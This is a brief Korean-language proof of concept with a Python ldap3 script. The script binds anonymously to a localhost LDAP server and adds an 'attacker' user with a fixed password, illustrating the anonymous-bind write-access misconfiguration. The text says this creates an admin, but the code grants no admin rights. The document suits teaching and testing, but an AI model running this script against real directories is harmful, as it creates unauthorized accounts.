
LDAP 익명 바인드 권한 상승을 위한 Python 개념 증명(PoC)으로, 안전하지 않은 ACL을 시뮬레이션하여 인증되지 않은 LDAP 바인드를 통해 관리자 사용자를 생성합니다.
# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL
# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")
LDAP 디렉터리가 익명 바인드를 허용하도록 잘못 구성되어 있으며, 동시에 userPassword와 같은 중요한 속성에 대한 쓰기 권한도 부여하고 있습니다. 공격자는 익명으로 바인드하여 새로운 관리자 사용자를 생성함으로써 권한을 상승시킬 수 있습니다.
시뮬레이션을 실행합니다(실제 테스트에는 실제 LDAP 서버가 필요하지만, 여기서는 개념을 보여줍니다):
python ldap_anon_sim.py
이 스크립트는 익명으로 사용자를 추가하려고 시도합니다.